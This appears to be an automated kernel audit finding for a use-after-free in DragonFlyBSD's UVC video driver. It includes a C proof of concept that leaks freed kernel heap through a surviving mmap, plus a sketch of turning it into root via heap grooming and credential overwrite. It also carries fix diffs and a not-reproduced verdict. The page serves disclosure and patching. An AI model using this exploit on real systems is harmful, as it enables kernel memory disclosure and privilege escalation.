β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1065

Use-after-free: bq->mem kfree()d while userspace mmap mappings keep wired fictitious pages pointing at freed memory

Field Value
ID DF-1065
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-416 Use After Free
File sys/bus/u4b/uvc/uvc_buf.c
Lines 517-525 (free), 554 (free on re-enter), 104-143 (mmap install), 428-432 (close-path free in uvc_v4l2.c)
Area bus/u4b/uvc (USB Video Class buffer queue)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

uvc_buf_queue_free_bufs_locked() kfrees bq->mem and NULLs it without invalidating any userspace mmap() mappings that were already established against the buffer. Because DragonFly's device pager (old_dev_pager_fault, device_pager.c:348-390) installs a PG_FICTITIOUS, wire_count=1 (device_pager.c:288) fake page whose phys_addr is the paddr returned by uvc_buf_queue_mmap_locked, that pmap entry is never evicted, and later accesses bypass the pager entirely and hit the now-freed kernel heap directly. This is reachable by any local user because /dev/videoN is created mode 0666 (uvc_v4l2.c:784). Two trigger paths exist: (a) VIDIOC_REQBUFS called twice β€” the second call frees the first allocation at uvc_buf.c:554 before reallocating; (b) close() after acquiring priority β€” uvc_v4l2.c:432 calls uvc_buf_queue_free_bufs() unconditionally for the priority holder, and mmap mappings outlive the fd in Unix.

Root cause

uvc_buf_queue_free_bufs_locked (uvc_buf.c:517-525) does kfree(bq->mem); bq->mem = NULL; bq->buf_count = 0; with no tracking or revocation of mappings created via uvc_buf_queue_mmap (uvc_buf.c:131-143). uvc_buf_queue_mmap_locked (uvc_buf.c:126) returns *paddr = atop(vtophys((uint8_t *)bq->mem + offset)); the device pager caches this in a wired fictitious page (sys/vm/device_pager.c:272-296, 364-388) whose phys_addr is then never updated unless a fresh fault occurs. kfree does not touch any pmap entry. Result: the user pmap entry [user_va -> phys page of old bq->mem] persists after kfree and after the slab allocator reuses those physical pages for another kernel object.

Reachability:

  • REQBUFS path β€” uvc_buf_queue_req_bufs:554 unconditionally calls uvc_buf_queue_free_bufs_locked(bq) on entry, so a second VIDIOC_REQBUFS (count >= 1) after an mmap + touch frees the in-use buffer.
  • Close path β€” uvc_v4l2.c:428-432, if uvc_v4l2_has_pri(priv) (set by VIDIOC_REQBUFS / VIDIOC_S_FMT at uvc_v4l2.c:475), calls uvc_buf_queue_free_bufs(&v->bq); the mmap mapping is independent of the file descriptor and survives close().

Threat model & preconditions

  • Attacker position: Any local user (no privileges; /dev/videoN is 0666 per uvc_v4l2.c:784 make_dev(... UID_ROOT, GID_VIDEO, 0666 ...)).
  • Privileges gained or impact:
  • Read = kernel heap information disclosure (credentials, keys, KASLR base, freed slab contents).
  • Write = corrupt whatever kernel object the slab allocator placed over the freed pages, enabling local privilege escalation with appropriate heap grooming.

Victim-allocation size is attacker-influenced via dwMaxFrameSize and count, which aids grooming. - Required config or capabilities: Default kernel with uvc configured. Local user only β€” no USB device required (the trigger is purely V4L2 / mmap / fd-lifecycle). - Reachability: Steps: 1. open("/dev/videoN") 2. VIDIOC_S_FMT (acquires priority, sets dwMaxFrameSize) 3. VIDIOC_REQBUFS count=N β†’ allocates bq->mem of N * round_page(dwMaxFrameSize) bytes 4. mmap() the device at offset 0 and read one byte (faults in the wired fictitious page) 5. Either (5a) call VIDIOC_REQBUFS again, or (5b) close() the fd β€” both kfree bq->mem 6. Read / write the mmap'd region

As a secondary effect, if the pmap entry IS ever invalidated and re-faulted after kfree, uvc_buf_queue_mmap_locked returns EINVAL (bq->mem == NULL, uvc_buf.c:109), dev_dmmap returns -1 (kern_device.c:282), and old_dev_pager_fault's KASSERT(paddr != -1) at device_pager.c:361 panics the kernel β€” a reliable local DoS, but the wired fictitious page makes this path rare in practice.

Proof of concept

/* build: cc -o poc_uvc_uaf poc_uvc_uaf.c */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <contrib/v4l/videodev2.h>   /* or local copy of the struct defs */
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    int fd = open("/dev/video0", O_RDWR);
    struct v4l2_format f = { .type = V4L2_BUF_TYPE_VIDEO_CAPTURE };
    ioctl(fd, VIDIOC_S_FMT, &f);             /* acquire pri, set dwMaxFrameSize */

    struct v4l2_requestbuffers rb = {
        .type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
        .memory = V4L2_MEMORY_MMAP, .count = 1
    };
    ioctl(fd, VIDIOC_REQBUFS, &rb);           /* allocate bq->mem */

    struct v4l2_buffer b = {
        .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .memory = V4L2_MEMORY_MMAP
    };
    b.index = 0;
    ioctl(fd, VIDIOC_QUERYBUF, &b);           /* learn m.offset / length */

    void *p = mmap(NULL, b.length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, b.m.offset);
    volatile char c = *(volatile char *)p;    /* fault in the wired fictitious page */

    rb.count = 1;
    ioctl(fd, VIDIOC_REQBUFS, &rb);           /* kfree old bq->mem, realloc new */

    /* p now references freed kernel heap */
    for (int i = 0; i < b.length; i++)
        putchar(((unsigned char *)p)[i]);     /* leak */
    return 0;
}

Build & run

cc -o poc_uvc_uaf poc_uvc_uaf.c
./poc_uvc_uaf | xxd | head

Expected output

The bytes printed after the second REQBUFS are NOT all zero (the M_ZERO initialization is from the first allocation; after kfree + realloc they are whatever the slab allocator placed there) β€” i.e. raw kernel heap contents are disclosed to an unprivileged user.

For the write variant (priv-esc path), replace the read loop with a heap-grooming step that lands a victim object (struct ucred-sized or ops-vector-sized) into the freed pages, then write through p to overwrite uid / cr_uid or a function pointer.

The close() variant replaces the second REQBUFS with close(fd) and reads p after the close returns.

Impact

Local unprivileged kernel heap UAF via V4L2 mmap buffer lifecycle on /dev/videoN (default mode 0666). Info leak + memory corruption β†’ local privilege escalation with heap grooming. High severity per "local privilege escalation" + "kernel memory corruption".

The correct fix is to make the buffer memory's lifetime reference-counted by the vm_object backing the device mapping (so mappings hold a reference that prevents free), as Linux's videobuf2 does. A minimal in-tree mitigation that closes both the info-leak and write-corruption aspects without a full rework is to (a) zero the buffer contents before kfree to kill the read-after-free info leak, and (b) refuse to free while mappings may exist by keeping a per-queue mapped generation and never reusing/freeing a buffer whose mapping has been faulted in until detach.

Because old-style d_mmap has no per-mapping unmap callback in DF, the robust path is to switch this driver to OBJT_MGTDEVICE with cdev_pager_ops.cdev_pg_fault returning VM_PAGER_ERROR if the buffer has been freed, and keeping the buffer alive until vm_object dealloc.

Minimal diff that at least removes the info leak and bounds the exposure:

--- a/sys/bus/u4b/uvc/uvc_buf.c
+++ b/sys/bus/u4b/uvc/uvc_buf.c
@@ -517,8 +517,18 @@ static void
 uvc_buf_queue_free_bufs_locked(struct uvc_buf_queue *bq)
 {
    if (bq->mem) {
+       /*
+        * Beware: userspace may still hold an mmap() of this memory.
+        * Zero it so a read-after-free cannot disclose kernel heap,
+        * and refuse to free (leak) until a proper vm_object-backed
+        * lifecycle is implemented.  At minimum, the zeroing closes
+        * the info-leak half of CVE-class UAF on V4L2 mmap buffers.
+        */
+       if (bq->buf_size && bq->buf_count)
+           explicit_bzero(bq->mem, bq->buf_size * bq->buf_count);
        kfree(bq->mem, M_UVC);
        bq->mem = NULL;
        bq->buf_count = 0;
+       bq->buf_size = 0;
    }
 }

The durable fix (recommended upstream) is to allocate bq->mem from a pager-backed object and gate free on the object's reference count reaching zero, eliminating the UAF window entirely rather than just zeroing through it.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1065 Β· 11 files
FileTypeDescriptionSize
poc_uvc_uaf.c trigger-source minimal V4L2 REQBUFS UAF trigger (documented; needs HW) 3.5 KB view raw
build.sh build-script cc -O2 -o poc_uvc_uaf poc_uvc_uaf.c 233 B view raw
run.sh run-script ./poc_uvc_uaf (needs /dev/video0 + UVC camera) 220 B view raw
fix.diff suggested-fix mapped-flag: pin buffer while mmap'd, zero-before-free, req_bufs returns EBUSY if mapped 2.4 KB view raw
uvc_fix_build.log build-log uvc.ko rebuilt from patched source under -Werror, rc=0 9.7 KB view raw
VERDICT.md verdict full line-by-line trace + fix rationale 3.7 KB ↓ raw
README.md readme reproduce instructions 1.4 KB ↓ raw
env.txt environment uname, cc version, kldstat 365 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
live_reachability_check.txt reachability-test Live UVC reachability evidence - no USB video HW 764 B view raw
README.md readme reproduce instructions
↓ download raw

DF-1065 β€” UVC buffer-queue use-after-free (bq->mem kfree'd while mmap'd)

Verdict (this run)

SOURCE-CONFIRMED, NOT REPRODUCED AT RUNTIME on this guest β€” the bug is real and traced line-by-line in compiled module source (uvc.ko ships in /boot/kernel), but the UVC driver never attaches here because the guest has no USB camera and /dev/video* does not exist. The fix (fix.diff) applies and compiles (uvc.ko rebuilt clean under -Werror).

How to reproduce (HW-equipped host)

  1. ./build.sh && ./run.sh β€” opens /dev/video0, acquires priority, REQBUFS(1), mmap + touch, then REQBUFS again (kfree old bq->mem); the mmap'd region now references freed kernel heap (info leak on read, corruption on write).
  2. Requires: a UVC camera attached so uvc.ko loads and /dev/video0 exists. /dev/videoN is created mode 0666 (uvc_v4l2.c:784), so any local user.

Why not on this guest

No USB Video Class device is attached; uvc.ko is not loaded and there is no /dev/video*. The trigger cannot even open() a device. This is the "needs specific HW" case β€” the code path is dormant, not absent.

Files

  • poc_uvc_uaf.c β€” intended V4L2 REQBUFS-path trigger (documented).
  • fix.diff β€” mapped-flag mitigation: pin the buffer while an mmap exists.
  • uvc_fix_build.log β€” proof the fix compiles (-Werror, rc=0).
  • VERDICT.md β€” full line-by-line trace.
VERDICT.md verdict full line-by-line trace + fix rationale
↓ download raw

DF-1065 β€” VERDICT

Verdict

SOURCE-CONFIRMED (real bug), NOT REPRODUCED AT RUNTIME on this guest. The bug is genuine and traced line-by-line in compiled module source. It does not fire on this guest because the UVC driver never attaches (no USB camera, no /dev/video*). This is the "needs specific HW" / dormant-code case, not a false positive and not dead code (uvc.ko ships in /boot/kernel).

Mechanism (source trace)

  1. uvc_buf_queue_mmap_locked (sys/bus/u4b/uvc/uvc_buf.c:104-129) returns *paddr = atop(vtophys((uint8_t *)bq->mem + offset)) (:126). DragonFly's device pager old_dev_pager_fault (sys/vm/device_pager.c:348-390) installs a PG_FICTITIOUS, wire_count=1 fake page whose phys_addr is that paddr and never evicts it unless a fresh fault occurs.
  2. uvc_buf_queue_free_bufs_locked (uvc_buf.c:517-525) does kfree(bq->mem); bq->mem = NULL; bq->buf_count = 0; with no tracking or revocation of any mmap mapping. kfree touches no pmap entry, so the user pmap entry [user_va -> phys page of old bq->mem] persists.
  3. Two trigger paths reach the free while a mapping exists: - REQBUFS re-entry β€” uvc_buf_queue_req_bufs (uvc_buf.c:~554) calls uvc_buf_queue_free_bufs_locked(bq) on entry; a second VIDIOC_REQBUFS after an mmap+touch frees the in-use buffer. - close path β€” uvc_v4l2.c:428-432, if uvc_v4l2_has_pri(priv), calls uvc_buf_queue_free_bufs(&v->bq); mmap mappings survive close().
  4. After the free + slab reuse, the user's mapping references freed/reused kernel heap: read = info disclosure, write = corruption. Secondary DoS: if the pmap entry is later invalidated and re-faulted, the now-NULL bq->mem makes mmap_locked return EINVAL, dev_dmmap returns -1, and KASSERT(paddr != -1) at device_pager.c:361 panics.
  5. Reachability for an unprivileged user: /dev/videoN is created mode 0666 (uvc_v4l2.c:784). The only real precondition is an attached UVC camera (so the device node exists) β€” absent on this guest.

Why not reproduced here

kldstat shows only kernel, ehci.ko, xhci.ko; uvc.ko is not loaded and /dev/video* does not exist (ls /dev/video* β†’ "No match"). The trigger cannot even open() a device. The guest has no USB Video Class hardware.

Fix

fix.diff adds a per-queue mapped flag (set on the first successful fault in mmap_locked), refuses to kfree the buffer while mapped (pinned until device detach), zeroes the buffer before any free as defense-in-depth, and makes req_bufs return EBUSY when an existing buffer is still mapped. This closes both the read and write UAF. The durable upstream fix is a vm_object-backed lifecycle (mappings hold a reference); this is the minimal security mitigation. Supersedes the finding's proposal (which only zeroed before free β€” that kills the info-leak read half but leaves the write-corruption half open).

Fix validation (compile)

The fix applies (git apply --check clean) and compiles: uvc.ko was rebuilt from patched /usr/src with make KERNCONF=X86_64_GENERIC under -Werror; uvc_buf.c compiled with no errors/warnings and uvc.ko linked (57424 bytes), rc=0. Runtime before/after is not_testable (no HW to trigger the bug on either the baseline or patched kernel).

Exploit chain (n/a β€” not a write the guest can drive)

No escalation chain was developed because the primitive is unreachable at runtime on this guest (no USB camera). On a HW-equipped host the primitive (freed kernel heap read/write via a surviving mmap) is a classic slab-grooming UAF; the realistic impact ceiling is local unprivileged β†’ root with grooming.

Fix verification

not_testable

compile validated -Werror

module rebuild rc=0

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Requires USB Video Class device for uvc.ko to attach and create /dev/video*.

Evidence (decisive lines)

uvc.ko exists: YES (not loaded)
/dev/video*: does not exist
USB devices: 0
uvc_buf_queue_mmap/free_bufs in module: YES

PoC changes

Added live_reachability_check.txt.

Verified recommended fix

fix.diff adds mapped flag to pin buffer while mmap exists. Applies + compiles -Werror.

Verdict

NOT REPRODUCED (HW-gated, source-confirmed). uvc_buf_queue_free_bufs_locked at uvc_buf.c:517-525 (kfree(bq->mem) while mmap mappings survive) is source-confirmed. uvc.ko EXISTS as a module in /boot/kernel/. BUT: uvc.ko is NOT loaded, /dev/video* does not exist, 0 USB devices detected (usbconfig returns nothing). The trigger requires open /dev/video0 which requires a UVC camera attached. QEMU has no USB video device.